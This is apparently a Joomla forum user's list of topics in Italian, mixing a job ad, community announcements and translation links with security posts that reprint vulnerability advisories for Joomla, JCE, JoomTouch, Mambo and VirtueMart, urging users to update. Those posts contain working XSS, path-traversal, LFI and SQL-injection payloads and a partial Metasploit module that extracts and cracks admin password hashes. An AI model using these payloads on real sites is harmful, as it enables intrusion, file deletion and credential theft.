Visualizza post

Questa sezione ti permette di visualizzare tutti i post inviati da questo utente. N.B: puoi vedere solo i post relativi alle aree dove hai l'accesso.


Topics - jeckodevelopment

Pagine: [1] 2 3
1
Start-up che lavora nel settore food, con sede operativa a Milano (MI). Più precisamente l'azienda propone un servizio di delivery integrato di piatti gourmet, sani e bilanciati.
In particolare sono richieste competenze per:
* Utilizzo Joomla! ed Hikashop
* Competenze CSS
* Programmazione, HTML, PHP e JavaScript (conoscenza di base jQuery);
Saranno ritenute qualificanti o preferenziali
- Esperienza nello sviluppo e implementazione di siti web e CMS
- Bilinguismo italiano e inglese.

Sede di lavoro: Milano (MI)
Settore: Food
Orario: 25 ore/settimana
Contratto: Stage
Titolo di Studio: Diploma di Maturità
Retribuzione: retribuzione 500€/mese (variabile in base all'esperienza), con ottime possibilità di ulteriori sviluppi

Inviate i vostri CV a info@featfood.it
Per informazioni: Andrea Lippolis | Lorenzo Danese

Feat Food Srl - P.IVA 04695050759

5
Joomladay / Joomla! User Group - Lecce
« il: 16 Nov 2015, 17:24:34 »
Cari amici joomlers,
Il Joomla! User Group Lecce è alla ricerca degli appassionati di Joomla‬ che si trovano a Lecce e dintorni.
Ti piace Joomla? Lo usi o vuoi conoscerlo meglio? Hai qualche progetto a riguardo? Stai cercando altri appassionati di questo CMS?
 Scrivi una mail a juglecce@gmail.com oppure visita la pagina Facebook https://www.facebook.com/joomlalecce/

6
ho un paio di domande da farvi su VirtueMart dato che non ho mai avuto modo di interfacciarmici in maniera diretta e seria ed il primo approccio non è stato dei migliori.

1) Esiste un modo per evitare che i visitatori vedano i prezzi, ma che questi siano visibili solo agli utenti registrati? (Nella versione 1.x era fattibile tramite un'impostazione, ma nella 2.x non trovo l'opzione corrispondente)

2) Esiste un modo per avere un calcolo della marginalità? Mi spiego: inserisco i prodotti e specifico il prezzo di costo per il venditore, cioè il prezzo che io pago ai miei fornitori, il sistema sulla base di questo prezzo fa un confronto con il prezzo finale di vendita e mi dice quanto ho guadagnato su ogni fattura? Da quanto ho visto con i campi prezzo c'è un po' di confusione (o sono io un incompetente, cosa probabile). Chiarisco, a quanto ho capito io, nel campo prezzo di costo devo specificare il prezzo IVA esclusa del prodotto (che in realtà non è il prezzo che io venditore pago il prodotto), automaticamente il sistema mi applica l'IVA (10% su alcuni prodotti, 21% sugli altri). Io non ho un modo per sapere quindi quanto guadagno dalle vendite? Devo ricorrere a qualche plugin?


Grazie! :)
   
 

7
Articoli della community / Joomla e gli Smartphone
« il: 06 Set 2012, 19:58:27 »
Ciao a tutti! :)
ho tradotto il bell'articolo "Joomla and Smartphones" pubblicato sul magazine di Joomla.org da Hagen Graf

Link all'articolo: http://www.joomla.it/articoli-community-16-e-17-tab/6203-joomla-e-gli-smartphone.html

8
Salve gente,
nel wiki di Joomla 2.5 è disponibile la traduzione della guida "Converting a template for Joomla 3" pubblicata originariamente sul wiki di Joomla.org

Attenzione, la traduzione, così come l'originale, è ancora un work in progress, quindi è soggetto a modifiche/integrazioni/aggiornamenti.

Il link alla pagina del wiki italiano:
http://www.joomla.it/mediawiki/index.php/Joomla!_2.5:Convertire_un_template_per_Joomla_3

9
Articoli della community / Cosa c'è di nuovo in Joomla 2.5.6
« il: 21 Giu 2012, 22:59:19 »
Salve gente!  ;)
ho tradotto l'articolo "What's new in Joomla 2.5.6" pubblicato su Joomla.org
Nell'articolo sono presentate tutte le novità che queste due versioni accoppiate (2.5.5 e 2.5.6) hanno portato al progetto: dalla possibilità di creare copie di template, all'upload multiplo in gestione media, ai Termini di Servizio e tanto altro ancora.

Link all'articolo: http://www.joomla.it/articoli-community-16-e-17-tab/5614-cosa-ce-di-nuovo-in-joomla-256.html

10
Sicurezza / Perché è importante aggiornare a Joomla 1.7.1
« il: 03 Ott 2011, 14:48:20 »
Subito dopo la pubblicazione del pacchetto di aggiornamento alla nuova versione di Joomla 1.7.x, per la precisione la 1.7.1 sono comparsi in rete gli avvisi relativi agli exploit possibili sulla versione 1.7.0.

Seguono i dati della vulnerabilità e consiglio a tutti coloro che utilizzino ancora Joomla 1.7.0 di aggiornare rapidamente alla versione 1.7.1.
Ricordo inoltre che la versione 1.6.x di Joomla non è più supportata, pertanto è consigliato l'aggiornamento al nuovo ramo 1.7.x

Codice: [Seleziona]
Joomla! 1.7.0 | Multiple Cross Site Scripting (XSS) Vulnerabilities
 
 
 
 1. OVERVIEW
 
 Joomla! 1.7.0 (stable version) is vulnerable to multiple Cross Site
 Scripting issues.
 
 
 2. BACKGROUND
 
 Joomla is a free and open source content management system (CMS) for
 publishing content on the World Wide Web and intranets. It comprises a
 model–view–controller (MVC) Web application framework that can also be
 used independently.
 Joomla is written in PHP, uses object-oriented programming (OOP)
 techniques and software design patterns, stores data in a MySQL
 database, and includes features such as page caching, RSS feeds,
 printable versions of pages, news flashes, blogs, polls, search, and
 support for language internationalization.
 
 
 3. VULNERABILITY DESCRIPTION
 
 Several parameters (searchword, extension, asset, author ) in Joomla!
 Core components are not properly sanitized upon submission to the
 /index.php url, which allows attacker to conduct Cross Site Scripting
 attack. This may allow an attacker to create a specially crafted URL
 that would execute arbitrary script code in a victim's browser.
 
 
 4. VERSION AFFECTED
 
 1.7.0 <=
 
 
 5. PROOF-OF-CONCEPT/EXPLOIT
 
 
 component: com_search, parameter: searchword (Browser: IE, Konqueror)
 =====================================================================
 
 
 [REQUEST]
 POST /joomla17_noseo/index.php HTTP/1.1
 Host: localhost
 Accept: */*
 Accept-Language: en
 User-Agent: MSIE 8.0
 Connection: close
 Referer: http://localhost/joomla17_noseo
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 456
 
 
 task=search&Itemid=435&searchword=Search';onunload=function(){x=con
 firm(String.fromCharCode(89,111,117,39,118,101,32,103,111,116,32,97,32,109,
 101,115,115,97,103,101,32,102,114,111,109,32,65,100,109,105,110,105,115,116
 ,114,97,116,111,114,33,10,68,111,32,121,111,117,32,119,97,110,116,32,116,11
 1,32,103,111,32,116,111,32,73,110,98,111,120,63));alert(String.fromCharCode
 (89,111,117,39,118,101,32,103,111,116,32,88,83,83,33));};//xsssssssssss&
 ;option=com_search
 [/REQUEST]
 
 
 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 
 User Login is required to execute the following XSSes.
 
 
 Parameter: extension, Component: com_categories
 ====================================================
 
 http://localhost/joomla17_noseo/administrator/index.php?option=com_categori
 es&extension=com_content%20%22onmouseover=%22alert%28/XSS/%29%22style=%
 22width:3000px!important;height:3000px!important;z-index:999999;position:ab
 solute!important;left:0;top:0;%22%20x=%22
 
 
 Parameter: asset , Component: com_media
 ====================================================
 
 http://localhost/joomla17_noseo/administrator/index.php?option=com_media&am
 p;view=images&tmpl=component&e_name=jform_articletext&asset=1%2
 2%20onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;heigh
 t:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;
 %22x=%22&author=
 
 
 Parameter: author, Component: com_media
 ====================================================
 
 http://localhost/joomla17_noseo/administrator/index.php?option=com_media&am
 p;view=images&tmpl=component&e_name=jform_articletext&asset=&am
 p;author=1%22%20onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!imp
 ortant;height:3000px!important;z-index:999999;position:absolute!important;l
 eft:0;top:0;%22x=%22
 
 
 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 
 
 6. IMPACT
 
 Attackers can compromise currently logged-in user/administrator
 session and impersonate arbitrary user actions available under
 /administrator/ functions.
 
 
 7. SOLUTION
 
 Upgrade to Joomla! 1.7.1-stable or higher.
 
 
 8. VENDOR
 
 Joomla! Developer Team
 http://www.joomla.org
 
 
 9. CREDIT
 
 This vulnerability was discovered by Aung Khant, http://yehg.net, YGN
 Ethical Hacker Group, Myanmar.
 
 
 10. DISCLOSURE TIME-LINE
 
 2011-07-29: notified vendor
 2011-09-26: patched version, 1.7.1-stable, released
 2011-09-29: vulnerability disclosed
 
 
 11. REFERENCES
 
 Original Advisory URL:
 http://yehg.net/lab/pr0js/advisories/joomla/core/%5Bjoomla_1.7.0-stable%5D_
 cross_site_scripting%28XSS%29
 Vendor Advisory URLs:
 http://developer.joomla.org/security/news/367-20110901-core-xss-vulnerabili
 ty
 http://developer.joomla.org/security/news/368-20110902-core-xss-vulnerabili
 ty
 

11
Un sito web, http://joomlagov.info/ ha raccolto i dati sull'utilizzo di Joomla nella Pubblica amministrazione, in particolare nei portali ufficiali delle città e dei comuni.
L'italia è al primo posto per l'utilizzo di Joomla, con ben 760 utilizzi, staccando nettamente la Spagna, al secondo posto con 207 siti in Joomla.

Chi vuole approfondire: http://joomlagov.info/

12
Diverse vulnerabilità trovate nel popolare editor JCE versione 2.0.1.0 e precedenti.
Non è stata ancora rilasciata una patch correttiva, si consiglia di visitare il sito web dello sviluppatore.

Temporaneamente si consiglia di restringere i permessi in scrittura (quindi all'editor) esclusivamente agli utenti fidati in attesa della nuova versione.

Citazione
#######################################
#
# Title: JCE Joomla Extension <=2.0.10 Multiple Vulnerabilities
# Vendor: www.joomlacontenteditor.net
# Exploit: Available
# Vulnerable Version: 2.0.10 (Image Manager 1.5.7.13, Media Manager
1.5.6.3, Template Manager 1.5.5, File Manager 1.5.4.1 & prior versions
also may be affected)
# Impact: High
# Fix: N/A
###################################################################################
####################
1. Description:
####################
     JCE is an extension for Joomla!, that provides you with a set of
wysiwyg editor tools that makes the job of writing articles for your
Joomla! site a little bit easier.
     In a nutshell, it provides access to many of the features you may
be used to using in Word or OpenOffice etc.
####################
2. Vulnerabilities:
####################
     2.1. Path Traversal Flaws. Path Traversal in "Image Manager",
"Media Manager", "Template Manager" and "File Manager" section.
         2.1.1. Exploit:
                         Check the exploit/POC section.
     2.2. Path Manipulation Flaws. Path Manipulation in "Image Manager",
"Media Manager", "Template Manager", "File Manager" section. Attackers
can delete any file or upload files to all the directories of the server.
         2.2.1. Exploit:
                         Check the exploit/POC section.
     2.3. Unsafe function Flaws. Attackers can use unsafe function
called "folderRename" for changing Image type extension (.jpg, .gif,
.png & etc.) to any extension like .htaccess or .php in "Image Manager",
"Media Manager", "Template Manager" and "File Manager" section.
         2.3.1. Exploit:
                         Check the exploit/POC section.
####################
3. Exploits/PoCs:
####################
Original Exploit URL: http://www.bugreport.ir/78/exploit.htm
     3.1. Path Traversal Flaws. Path Traversal in "Image Manager",
"Media Manager", "Template Manager" and "File Manager" section.
         -------------
         Path Traversal and see all directories:
         Step 1 +--> Click on root (left bar)
         Step 2 +--> Use Proxy (like burp) for changing path:
                     json={"fn":"getItems","args":["/","all",0,""]}   
              to           
  json={"fn":"getItems","args":["../../","all",0,""]}
         -------------
     3.2. Path Manipulation Flaws. Path Manipulation in "Image Manager",
"Media Manager", "Template Manager", "File Manager" section. Attackers
can delete any file or upload files to all the directories of the server.
         -------------
         For uploading file:
         Step 1 +--> Upload a file with image type extension like azizi.jpg
         Step 2 +--> Click on root (left bar)
         Step 3 +--> Use Proxy (like burp) and change "json" parameter
to json={"fn":"fileCopy","args":["/azizi.jpg","../../"]}
         Now azizi.jpg copied to root directory.
         For deleting file:
         Step 1 +--> Click on root (left bar)
         Step 2 +--> Use Proxy (like burp) and change "json" parameter
to json={"fn":"fileDelete","args":"../../index.php"}
         Now index.php has been deleted.
         -------------
     3.3. Unsafe function Flaws. Attackers can use unsafe function for
changing Image type extension (.jpg, .gif, .png & etc.) to any extension
like .htaccess or .php in "Image Manager", "Media Manager", "Template
Manager" and "File Manager" section.
         -------------
         For uploading file with executable extension:
         Step 1 +--> Upload a file with image type extension like azizi.jpg
         Step 2 +--> Click on root (left bar)
         Step 3 +--> Use Proxy (like burp) and change "json" p
####################
4. Solution:
####################
     Restricting and granting only trusted users having access to
resources and wait for vender patch.

13
Citazione
# Exploit Title: Joomla Simple File Lister module <= 1.0 Directory Traversal Vulnerability
# Google Dork: "Simple File Lister v1.0" "Files in directory"
# Date: 2011-08-28
# Author: evilsocket
# Software Link: http://extensions.joomla.org/extensions/core-enhancements/file-management/15793
# Version: 1.0
---------------
Vulnerable code
---------------
[ helper.php line 51 ]
function getDirContents($params, $sfl_dirlocation, $sfl_basepath, $sfl_maxfiles, $sfl_userlocation) {
  ...
  ...
  really messy code, generally speaking the variable $sfl_dirlocation which contains the directory to be
  read is not succesfully sanitized for relative paths
  ...
  ...
---
PoC
---
http://www.site.com/index.php?option=com_content&view=article&id=[A VALID ID]&Itemid=[A VALID ID]&sflaction=dir&sflDir=../../../
To look for a valid url, just sniff the HTTP request sent from the module javascript code once a directory is clicked.

Al momento non è stata pubblicata una patch correttiva, si consiglia di visitare il sito dello sviluppatore dell'estensione.

14
Sicurezza / Joomla JoomTouch 1.0.2 LFI Vulnerability
« il: 18 Ago 2011, 09:54:13 »
Joomla Component JoomTouch 1.0.2 Local File Inclusion Vulnerability

Codice: [Seleziona]
[o] JoomTouch Joomla Component <= Local File Inclusion Vulnerability
 
 Software : com_joomtouch ver 1.0.2
 Vendor   : http://www.joomtouch.com/
 
 ===========================================================================
 =====
 
 [o] Exploit
 
 
 http://localhost/[path]/index.php?option=com_joomtouch&controller=[LFI]
 
 
 
 [o] PoC
 
 
 http://localhost/[path]/index.php?option=com_joomtouch&controller=../..
 /../../../../../../../../../../../../../../../../../etc/passwd%00
 

Non si hanno ulteriori informazioni sulla presunta vulnerabilità né sul ciclo di sviluppo dell'estensione

15
Nonostante non sia attinente con Joomla, pubblico questa vulnerabilità che riguarda il predecessore di Joomla, cioè Mambo CMS.
Lo sviluppo di Mambo è terminato da lungo tempo ormai, tuttavia qualora alcuni di voi utilizzassero ancora Mambo su qualche sito web, si consiglia il passaggio immediato a Joomla, nelle sue ultime versioni.

Segue la vulnerabilità di tipo SQL Injection che colpisce l'area amministrativa di Mambo.

Codice: [Seleziona]
Mambo CMS 4.6.x (4.6.5) | SQL Injection
 
 
 1. OVERVIEW
 
 Mambo CMS 4.6.5 and lower versions are vulnerable to SQL Injection.
 
 
 2. BACKGROUND
 
 Mambo is a full-featured, award-winning content management system that can
 be used for everything from simple websites to complex corporate
 applications. It is used all over the world to power government portals,
 corporate intranets and extranets, ecommerce sites, nonprofit outreach,
 schools, church, and community sites. Mambo's "power in
 simplicity" also makes it the CMS of choice for many small businesses
 and personal sites.
 
 
 3. VULNERABILITY DESCRIPTION
 
 The "zorder" parameter was not properly sanitized upon submission
 to the administrator/index2.php url, which allows attacker to conduct  SQL
 Injection attack. This could an attacker to inject or manipulate SQL
 queries in the back-end database, allowing for the manipulation or
 disclosure of arbitrary data.
 
 
 4. VERSIONS AFFECTED
 
 Tested on Mambo CMS 4.6.5
 
 
 5. PROOF-OF-CONCEPT/EXPLOIT
 
 http://localhost/mambo/administrator/index2.php?limit=10&order[]=11&
 ;boxchecked=0&toggle=on&search=sqli&task=&limitstart=0&
 cid[]=on&zorder=-1 OR (SELECT 9999 FROM(SELECT
 COUNT(*),CONCAT(CHAR(58,98,112,101,58),(SELECT (CASE WHEN (9999=9999) THEN
 1 ELSE 0 END)),CHAR(58,110,100,107,58),FLOOR(RAND(0)*2))x FROM
 INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY
 x)a)&filter_authorid=62&hidemainmenu=0&option=com_typedcontent
 
 
 6. SOLUTION
 
 The vendor seems to discontinue the development. It is recommended to use
 another CMS in active development.
 
 
 7. VENDOR
 
 Mambo CMS Development Team
 http://mambo-developer.org

16
Ho scritto un articolo che spiega come visualizzare una parte di un sito realizzato in Joomla all'interno di un'applicazione per una Pagina su Facebook.

Per lo scopo ho pubblicato anche un template compatibile con Joomla 1.5, 1.6 e 1.7, appositamente creato per l'embed in Pagine Facebook.

Link all'articolo: http://www.joomla.it/articoli-community-16-e-17-tab/5061-mostrare-una-parte-di-un-sito-joomla-in-una-pagina-facebook.html

17
Joomla 1.5 com_virtuemart <= 1.1.7 Blind time-based SQL Injection (MSF)
Si consiglia di aggiornare VirtueMart alla versione 1.1.9

Citazione
# Exploit Title: Joomla 1.5 com_virtuemart <= 1.1.7 blind time-based sql injection MSF module
# Date: Thu Jul 28, 2011
# Version: <= 1.1.7
# Download: http://dev.virtuemart.net/projects/virtuemart/files


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking
   
    include Msf::Exploit::Remote::HttpClient
   
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Joomla 1.5 VirtueMart Component <= 1.1.7 Blind SQL Injection',
            'Description'    => %q{
            A vulnerability was discovered by Rocco Calvi and Steve Seeley which identifies
            unauthenticated time-based blind SQL injection in the "page" variable of the
            virtuemart component. This vulnerability allows an attacker to gain information
            from the database with specially crafted URLs taking advantage of the MySQL
            benchmark. This issue was patched in version 1.1.7a.
            },
            'Author'         =>
                [
                    'TecR0c',  #Initial discovery, msf module
                    'mr_me',  #Initial discovery with TecR0c
                ],
            'License'        =>  MSF_LICENSE,
            'References'     =>
                [
                    [ 'URL', 'http://www.exploit-db.com/exploits/17132/' ],
                    [ 'URL','http://www.stratsec.net/Research/Advisories/' ],
                ],
            'Privileged'     =>  false,
            'Platform'       => 'php',
            'Arch'           =>  ARCH_PHP,
            'Targets'        => [[ 'Automatic', { }]],
            'DisclosureDate' => 'Feb 11 2011',
            'DefaultTarget'  => 0 ))
           
            register_options(
                [
                    OptString.new('JDIR', [true, 'Joomla directory', '/']),
                    OptInt.new('BMCT', [true, 'Benchmark Counter', 50000000 ]),
                    OptInt.new('BMDF', [true, 'Benchmark Difference', 3 ]),
                    OptInt.new('BMRC', [true, 'Benchmark Request Count', 1 ]),
                    OptString.new('WLIST', [true,
                                'Wordlist location',
                                 '/home/foo/bar.txt'
                                ]),
                    OptString.new('AGNT', [false, 'User Agent Info', 'Mozilla/5.0' ]),
                    OptString.new('PREF', [false, 'Database prefixt', 'jos_' ]),
                    OptString.new('JQRY', [false,
                                'URI to trigger bug',
                                'index.php?option=com_virtuemart&page=1'
                                ])
                ], self.class)
    end
    #################################################
    # Extract "Set-Cookie"
    def init_cookie(data, cstr = true)
   
        # Raw request? Or cookie data specifically?
        data = data.headers['Set-Cookie'] ? data.headers['Set-Cookie']: data
       
        # Beginning
        if ( data )
           
            # Break them apart
            data = data.split(', ')
           
            # Initialize
            ctmp = ''
            tmps = {}
           
            # Parse cookies
            data.each do | x |
           
                # Remove extra data
                x = x.split(';')[0]
               
                # Seperate cookie pairs
                if ( x =~ /([^;\s]+)=([^;\s]+)/im )
                   
                    # Key
                    k = $1
                   
                    # Val
                    v = $2
                   
                    # Valid cookie value?
                    if ( v.length() > 0 )
                   
                        # Build cookie hash
                        tmps[k] = v
                       
                        # Report cookie status
                        print_status("Got Cookie: #{k} => #{v}");
                    end
                end
            end
           
            # Build string data
            if ( cstr == true )
               
                # Loop
                tmps.each do |x,y|
                   
                    # Cookie key/value
                    ctmp << "#{x}=#{y};"
                end
               
                # Assign
                tmps['cstr'] = ctmp
            end
           
            # Return
            return tmps
        else
            # Something may be wrong
            init_debug("No cookies within the given response")
        end
    end
   
    #################################################
   
    # Simple debugging output
    def init_debug(resp, exit = 0)
   
        # Continue execution
        if ( exit.to_i > 0 )
       
            # Exit
            exit(0)
        end
       
    end
   
    #################################################
   
    # Generic post wrapper
    def http_post(url, data, headers = {}, timeout = 15)
   
        # Protocol
        proto = datastore['SSL'] ? 'https': 'http'
       
        # Determine request url
        url = url.length ? url: ''
       
        # Determine User-Agent
        headers['User-Agent'] = headers['User-Agent']  ?
        headers['User-Agent'] : datastore['AGNT']
       
        # Determine Content-Type
        headers['Content-Type'] = headers['Content-Type'] ?
        headers['Content-Type'] : "application/x-www-form-urlencoded"
       
        # Determine Content-Length
        headers['Content-Length'] = data.length
       
        # Determine Referer
        headers['Referer'] = headers['Referer']        ?
        headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"
       
        # Delete all the null headers
        headers.each do | hkey, hval |
           
            # Null value
            if ( !hval )
           
                # Delete header key
                headers.delete(hkey)
            end
        end
       
        # Send request
        resp = send_request_raw(
        {
            'uri'     => datastore['JDIR'] + url,
            'method'  => 'POST',
            'data'    => data,
            'headers' => headers
        },
        timeout    )
           
           
        # Returned
        return resp
   
    end
   
    #################################################
   
    # Generic post multipart wrapper
    def http_post_multipart(url, data, headers = {}, timeout = 15)
       
        # Boundary string
        bndr =  Rex::Text.rand_text_alphanumeric(
       
        # Protocol
        proto = datastore['SSL'] ? 'https': 'http'
   
        # Determine request url
        url = url.length ? url: ''
       
        # Determine User-Agent
        headers['User-Agent'] = headers['User-Agent']  ?
        headers['User-Agent'] : datastore['AGNT']
       
        # Determine Content-Type
        headers['Content-Type'] = headers['Content-Type'] ?
        headers['Content-Type'] : "multipart/form-data; boundary=#{bndr}"
       
        # Determine Referer
        headers['Referer'] = headers['Referer']        ?
        headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"
       
        # Delete all the null headers
        headers.each do | hkey, hval |
       
            # Null value
            if ( !hval )
           
                # Delete header key
                headers.delete(hkey)
            end
        end
       
        # Init
        temp = ''
       
        # Parse form values
        data.each do |name, value|
       
            # Hash means file data
            if ( value.is_a?(Hash) )
               
                # Validate form fields
                filename = value['filename'] ? value['filename']:
                         init_debug("Filename value missing from #{name}", 1)
                contents = value['contents'] ? value['contents']:
                         init_debug("Contents value missing from #{name}", 1)
                mimetype = value['mimetype'] ? value['mimetype']:
                         init_debug("Mimetype value missing from #{name}", 1)
                encoding = value['encoding'] ? value['encoding']: "Binary"
               
                # Build multipart data
                temp << "--#{bndr}\r\n"
                temp << "Content-Disposition: form-data; name=\"#{name}\"
                    ; filename=\"#{filename}\"\r\n"
                temp << "Content-Type: #{mimetype}\r\n"
                temp << "Content-Transfer-Encoding: #{encoding}\r\n"
                temp << "\r\n"
                temp << "#{contents}\r\n"
               
            else
                # Build multipart data
                temp << "--#{bndr}\r\n"
                temp << "Content-Disposition: form-data; name=\"#{name}\";\r\n"
                temp << "\r\n"
                temp << "#{value}\r\n"
            end
        end
       
        # Complete the form data
        temp << "--#{bndr}--\r\n"
       
        # Assigned
        data = temp
       
        # Determine Content-Length
        headers['Content-Length'] = data.length
       
        # Send request
        resp = send_request_raw(
        {
            'uri'     => datastore['JDIR'] + url,
            'method'  => 'POST',
            'data'    => data,
            'headers' => headers
        },
        timeout)
       
        # Returned
        return resp
       
    end
   
    #################################################
   
    # Generic get wrapper
    def http_get(url, headers = {}, timeout = 15)
       
        # Protocol
        proto = datastore['SSL'] ? 'https': 'http'
       
        # Determine request url
        url = url.length ? url: ''
       
        # Determine User-Agent
        headers['User-Agent'] = headers['User-Agent']  ?
        headers['User-Agent'] : datastore['AGNT']
       
        # Determine Referer
        headers['Referer'] = headers['Referer']        ?
        headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"
       
        # Delete all the null headers
        headers.each do | hkey, hval |
       
            # Null value // Also, remove post specific data, due to a bug ...
            if ( !hval || hkey == "Content-Type" || hkey == "Content-Length" )
           
                # Delete header key
                headers.delete(hkey)
            end
        end
       
       
        # Send request
        resp = send_request_raw({
            'uri'     => datastore['JDIR'] + url,
            'headers' => headers,
            'method'  => 'GET',
        }, timeout)
       
        # Returned
        return resp
       
    end
   
    #################################################
   
   
    # Used to perform benchmark querys
    def sql_benchmark(test, hdrs, table = nil, where = '1+LIMIT+1', tnum = nil )
   
        # Init
        wait = 0
       
        # Defaults
        table = table ? table: 'users'
       
        # SQL Injection string used to trigger the MySQL BECNHMARK() function
        sqli = ("'+UNION+SELECT+IF(#{test},+BENCHMARK(#{datastore['BMCT']},\
+MD5(1)),+0)+FROM+#{datastore['PREF']}#{table}+WHERE+#{where}--+sqli.page")
       
        # Number of tests to run. We run this
        # amount of tests and then look for a
        # median value that is greater than
        # the benchmark difference.
        tnum = tnum ? tnum: datastore['BMRC']
       
        # Run the tests
        tnum.to_i.times do | i |
       
            # Start time
            bmc1 = Time.now.to_i
           
            # Make the request
           
           
            init_debug(http_get("#{datastore['JQRY']}#{sqli}", hdrs))
            # End time
            bmc2 = Time.now.to_i
           
           
            # Total time
            wait += bmc2 - bmc1
        end
       
        # Return the results
        return ( wait.to_i / tnum.to_i )
       
    end
   
   
    #################################################
   
   
    # Used to perform benchmark querys
    def sql_benchmark_2(hdrs, columns = nil, table = nil, where = '1+LIMIT+1', tnum = nil )
   
        # Init
        wait = 0
       
        # Defaults
        table = table ? table: 'users'
       
        # SQL Injection string used to trigger the MySQL BECNHMARK() function
        sqli = (
"'+UNION+SELECT+IF(substring((select+#{columns}+FROM+#{datastore['PREF']}#{table}+WHERE+#{where}),1,1),BENCHMARK(#{datastore['BMCT']},+MD5(1)),+0)--+sqli.page")
       
        # Number of tests to run. We run this
        # amount of tests and then look for a
        # median value that is greater than
        # the benchmark difference.
        tnum = tnum ? tnum: datastore['BMRC']
       
        # Run the tests
        tnum.to_i.times do | i |
       
            # Start time
            bmc1 = Time.now.to_i
           
            # Make the request
           
           
            init_debug(http_get("#{datastore['JQRY']}#{sqli}", hdrs))
            # End time
            bmc2 = Time.now.to_i
           
           
            # Total time
            wait += bmc2 - bmc1
        end
       
        # Return the results
        return ( wait.to_i / tnum.to_i )
       
    end
   
   
    #################################################
   
   
    def get_password(hash, salt, opts = nil)
   
        # Wordlist
        wlst = datastore['WLIST']
       
        # Init
        cntr = 0
           
        # Verbose
        print_status("Attempting to crack admin password hash")
       
        # Valid hash length only
        if ( hash.length != 32 )
       
            # Failure
            print_error("Invalid Joomla MD5 hash: #{hash.to_s}")
            return nil
        end
       
        # Does the wordlist exist?
        if ( !File.exist?(wlst) )
       
            # Failure
            print_error("Unable to load wordlist: #{wlst}")
            return nil
        else
           
            # Load the wordlist file
            list = File.readlines(wlst)
        end
       
        # Verbose
        print_status("Loaded #{list.count.to_s} words from the specified list")
        print_status("This may take quite some time ...")
       
        # Start time
        bmc1 = Time.now.to_i
       
        # Loop through list
        list.each do | word |
       
            # Cleanup
            word = word.strip
           
            # Counter
            cntr = cntr + 1
           
            # Attempt to find the plaintext password
            if ( hash == Rex::Text.md5(word + salt) )
           
                # Success!
                print_status("Successfully cracked the following hash")
                print_status("#{hash} => #{salt} == #{word}")
               
                # Ended time
                bmc2 = Time.now.to_i
               
                # Duration
                bmc3 = bmc2 - bmc1
                bmc3 = ( bmc3 < 60 ) ? "#{bmc3} seconds": "#{(bmc3/60)} minutes"
               
                # Verbose
                print_status("Operation completed in #{bmc3}")
               
                # Return
                return word
            end # if
        end # each
       
        # Failure
        print_error("Unable to crack the following hash")
        print_error("#{hash} => #{salt} ==")
       
        # Ended time
        bmc2 = Time.now.to_i
       
        # Duration
        bmc3 = bmc2 - bmc1
        bmc3 = ( bmc3 < 60 ) ? "#{bmc3} seconds": "#{(bmc3/60)} minutes"
       
        # Verbose
        print_status("Operation completed in #{bmc3}")
       
        # Return
        return nil
    end
   
    #################################################
   
    def get_users_data(hdrs, snum, slim, cset, sqlf, sqlw)

            # Start time
            tot1 = Time.now.to_i
           
            # Initialize
            reqc = 0
            retn = String.new
               
            # Extract salt
            for i in snum..slim
           
                # Offset position
                oset = ( i - snum ) + 1
   
                # Loop charset
                for cbit in cset
   
                    # Test character
                    cbit.each do | cchr |
   
                        # Start time (overall)
                        bmc1 = Time.now.to_i
   
                        # Benchmark query
                        bmcv = sql_benchmark("SUBSTRING(#{sqlf},#{i},1)+LIKE+BINARY+CHAR(#{cchr.ord})",
                        hdrs,"users", sqlw, datastore['BMRC'])
   
                        # Noticable delay? We must have a match!
                        if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
   
                            # Verbose
                            print_status(sprintf("Character %02s is %s", oset.to_s, cchr ))
   
                            # Append chr
                            retn << cchr
   
                            # Exit loop
                            break
                        end
   
                        # Counter
                        reqc += 1
   
                    end # each
                end # for
   
                # Host not vulnerable?
                if ( oset != retn.length )
                   
                    # Failure
                    print_error("Unable to extract character ##{oset.to_s}\
                    . Extraction failed!")
                    return nil
                end
            end # for
   
            # End time (total)
            tot2 = Time.now.to_i
   
            # Benchmark totals
            tot3 = tot2 - tot1
   
            # Verbose
            print_status("Found data: #{retn}")
            print_status("Operation required #{reqc.to_s} requests (#{( tot3 / 60).to_s} minutes)")
           
            # Return
            return retn
    end
   
    #################################################
   
    def check

                print_status("Attempting to determine virtuemart version")

                resp = http_get("modules/mod_virtuemart_currencies/mod_virtuemart_currencies.xml")

                # Extract Joomla version information
                if ( resp.body =~ /<version>([^\s]+)<\/version>/ )

                        # Version
                        vers = $1.strip

                        # Version "parts"
                        ver1, ver2, ver3 = vers.split(/\./)

                        # Only if version 1.1.7
                        if ( ver3.to_i >= 7)

                                # Exploit failed
                                init_debug(resp)
                print_status("Please confirm manually")
                return Exploit::CheckCode::Safe
                        else

                                print_status("The target is running VirtueMart : #{vers}")
                return Exploit::CheckCode::Vulnerable
                        end
                else

                        # Verbose
                        print_error("Unable to determine Joomla version ...")
                end

    end
   
    #################################################
    def exploit
   
        # Numeric test string
        tstr = Time.now.to_i.to_s

        # MD5 test string
        tmd5 = Rex::Text.md5(tstr)
   
        # Encoded payload
        load = payload.encoded
       
        #################################################
        # STEP 02 // Get the cookie for virtuemart
        #################################################

        # request to get virtuemart cookie
        resp = http_get("index.php?option=com_virtuemart&page=1")

        # Init cookie
        cook = init_cookie(resp)

        # Build headers for authenticated session
        hdrs = { "Cookie" => cook['cstr'] }

        #################################################
        # STEP 03 // Calculate BENCHMARK() response times
        #################################################

        # Verbose
        print_status("Calculating target response times")
        print_status("Benchmarking #{datastore['BMRC']} normal requests")
       

        # Normal request median (globally accessible)
        datastore['BMC0'] = sql_benchmark("1=2", hdrs)
       
        # Verbose
        print_status("Normal request avg: #{datastore['BMC0'].to_s} seconds")
        print_status("Benchmarking #{datastore['BMRC']} delayed requests")

